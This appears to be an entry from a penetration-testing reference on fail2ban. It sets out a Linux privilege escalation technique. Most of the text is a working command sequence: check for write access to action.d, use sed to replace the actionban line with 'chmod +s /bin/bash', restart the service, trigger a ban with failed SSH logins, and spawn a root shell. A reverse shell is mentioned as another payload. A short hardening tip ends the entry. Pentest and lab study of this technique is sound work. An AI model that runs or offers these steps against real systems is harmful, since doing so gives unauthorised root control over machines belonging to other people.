KagisoSec_
Service bank
SERVICE

fail2ban

Log-watching ban daemon that runs its action scripts as root. If you can write to action.d and trigger a ban, the ban action executes your command as root.

linux privesc

Fingerprint

  • /etc/fail2ban present; bans appear in iptables after failed logins
  • fail2ban-client status lists active jails

Key files

PathHoldsSensitive
/etc/fail2ban/jail.local jail config (findtime, maxretry, bantime)
/etc/fail2ban/action.d/ ban/unban action scripts executed by root
/etc/fail2ban/filter.d/ log match patterns

Service users

root (fail2bans runs as root)

Exploitation primitives

  • Privesc: if your group has write on action.d, set actionban to a payload (chmod +s /bin/bash or a reverse shell), reload fail2ban, then trip a ban by spamming failed SSH logins
  • Requires three things together: write to action.d, a way to reload the service, and the ability to trigger a ban

Overview

fail2ban watches auth logs and, when a host trips the limit, runs the actionban command from its action config as root to firewall the offender. Control of those action files plus the ability to fire a ban is a root primitive.

Privilege escalation

Are you in a group that can write action.d:

id

List the action scripts:

ls -la /etc/fail2ban/action.d/

Can you restart fail2ban:

sudo -l

Overwrite the ban action with a payload:

sed -i 's|actionban = .*|actionban = chmod +s /bin/bash|' /etc/fail2ban/action.d/iptables-multiport.conf

Reload the service:

sudo /etc/init.d/fail2ban restart

Trip a ban with repeated bad SSH logins, then drop to root:

/bin/bash -p

Hardening

action.d must be root-owned and not group-writable; do not grant unprivileged users a sudo reload.

Seen on these machines 1

Trick

References